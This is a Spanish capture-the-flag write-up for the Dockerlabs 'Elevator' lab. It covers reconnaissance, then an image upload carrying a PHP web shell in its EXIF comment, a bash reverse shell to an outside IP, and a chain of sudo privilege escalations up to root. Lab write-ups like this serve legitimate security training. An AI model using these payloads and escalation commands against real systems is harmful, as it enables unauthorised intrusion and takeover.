> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/mis-ctfs/elevator.md).

# Elevator

✍️ Autor: beafn28🔍 Dificultad: Fácil  📅 Fecha de creación: 1/12/2024 🐳Dockerlabs

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FSQIpbGjPwhIJ9gi7sPin%2Fimage.png?alt=media&amp;token=225abeaa-456b-4997-ae5a-3d53fd3a2956" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoWh9iJtfKptRAiLQBj6c%2Fimage.png?alt=media&amp;token=a1624171-05df-4390-b31a-d7533c93a0a3" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FbIXs4voiXzqvwMwAEmsi%2Fimage.png?alt=media&amp;token=2b6dfe61-7c4f-49fb-a69c-07152f09b236" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sobre un misterio en un ascensor.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FSdvh38XaSYupU6NtA08r%2Fimage.png?alt=media&amp;token=6d5bc2fd-d09b-44c8-b396-dfbe60a48147" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FpWOlK1F8yYdcVoQd7a75%2Fimage.png?alt=media&amp;token=1f91c775-cbac-473e-b235-87e9298eee5c" alt=""><figcaption></figcaption></figure>

Entramos en ese directorio pero no encontramos nada. Por lo que hacemos otra búsqueda de directorios.

```bash
gobuster dir -u http://172.17.0.2/themes -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x txt,html,php
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxNWcHopFDjGMbXR9oH48%2Fimage.png?alt=media&amp;token=48c20f7b-13e9-4a55-8e0e-1bab0a62c333" alt=""><figcaption></figcaption></figure>

Vemos un directorio `/uploads` y un `archivo.html` por lo que supongamos que podemos subir una Reverse Shell.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ful72yOh3Eg8R7uryBLJm%2Fimage.png?alt=media&amp;token=0f566110-966a-44f2-99ee-8b91ccbdeabf" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Como podemos ver solo nos deja subir archivos en formato **.jpg** por lo que creamos una imagen y le insertamos código malicioso.

```bash
convert -size 200x200 xc:red ~/Desktop/malicious_image.jpg
exiftool -Comment='<?php system($_GET["cmd"]); ?>' ~/Desktop/malicious_image.jpg
```

Subimos la imagen y nos vamos al directorio `/uploads`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F38OfUlw66wkwfC1CwQgY%2Fimage.png?alt=media&amp;token=81a79e31-9db1-4541-b2ae-5ca2ce34200c" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha.

```bash
nc -nlvp 443
```

Mientras en el buscador.

```bash
http://172.17.0.2/themes/uploads/6748e39cbd8ea.jpg.php?cmd=bash%20-c%20%22bash%20-i%20>%26%20/dev/tcp/192.168.255.136/443%200>%261%22
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fu7rXEplPMSZvpmc2yqFJ%2Fimage.png?alt=media&amp;token=b3b66f83-a4c0-4e2f-86f8-f9f339bd8c08" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQ9KcVIs6vHPNFISTt8kZ%2Fimage.png?alt=media&amp;token=603a2ea0-fbf2-429a-b2c4-8f0d57d9b52e" alt=""><figcaption></figcaption></figure>

Nos llama la atención **env** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/env/)cómo explotarlo.

```bash
sudo -u daphne /usr/bin/env /bin/sh
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIiosJOLQPfSaoGApuvze%2Fimage.png?alt=media&amp;token=5e758abb-f8a7-46bc-9bd3-6b4aa4e47353" alt=""><figcaption></figcaption></figure>

Ya somos **daphne**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHqGQRUtgw0wsL7FFPl2Z%2Fimage.png?alt=media&amp;token=11f8dc11-1250-4b10-bc8f-f12aebc21e43" alt=""><figcaption></figcaption></figure>

Nos llama la atención **ash** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/ash/)cómo explotarlo.

```bash
sudo -u vilma /usr/bin/ash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXmbBw6uktIkTrMo8taNF%2Fimage.png?alt=media&amp;token=9203dd59-cab2-4e8c-a58d-ee10da3bb9eb" alt=""><figcaption></figcaption></figure>

Ya somos **vilma**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F42jvQjsN5pZLUEIAor17%2Fimage.png?alt=media&amp;token=36a88713-a7b4-423d-9404-ca501d32c263" alt=""><figcaption></figcaption></figure>

Nos llama la atención **ruby** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/ruby/)cómo explotarlo.

```bash
sudo -u shaggy /usr/bin/ruby -e 'exec "/bin/sh"'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4jIrDesTxBEcdfsCE8wQ%2Fimage.png?alt=media&amp;token=9d8d3d9b-1306-4a9c-a7db-d9852a84b806" alt=""><figcaption></figcaption></figure>

Ya somos **shaggy**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F9MktJK8G8nPoyesFkQwX%2Fimage.png?alt=media&amp;token=60bb2237-0da7-4f02-996c-5067fabc7f5c" alt=""><figcaption></figcaption></figure>

Nos llama la atención **lua** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/lua/)cómo explotarlo.

```bash
sudo -u fred /usr/bin/lua -e 'os.execute("/bin/sh")'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGAJHP7dBgox70CMjwHTC%2Fimage.png?alt=media&amp;token=edb15707-f010-420c-83ff-a524d2af6370" alt=""><figcaption></figcaption></figure>

Ya somos **fred**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FChMOY7Lxkz1fVG81WFvv%2Fimage.png?alt=media&amp;token=507b399e-cad7-449a-8cdc-8124858531f4" alt=""><figcaption></figcaption></figure>

Nos llama la atención **gcc** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/gcc/)cómo explotarlo.

```bash
sudo -u scooby /usr/bin/gcc -wrapper /bin/sh,-s .
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4sGWSVCiRtcwMiYR429w%2Fimage.png?alt=media&amp;token=5fed24d9-3fc7-4b53-bf99-41075c8c1060" alt=""><figcaption></figcaption></figure>

Ya somos **scooby**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ffm3OiNnr2nNRRiiBfflM%2Fimage.png?alt=media&amp;token=8c88330b-0707-4413-9081-cb215c8d394d" alt=""><figcaption></figcaption></figure>

Nos llama la atención **sudo** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/sudo/)cómo explotarlo.

```bash
sudo -u root /usr/bin/sudo /bin/sh
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FQsNNb7YEYPt9zyurIKza%2Fimage.png?alt=media&amp;token=4ee3aeea-29b7-4703-b67c-94d299ba11fe" alt=""><figcaption></figcaption></figure>
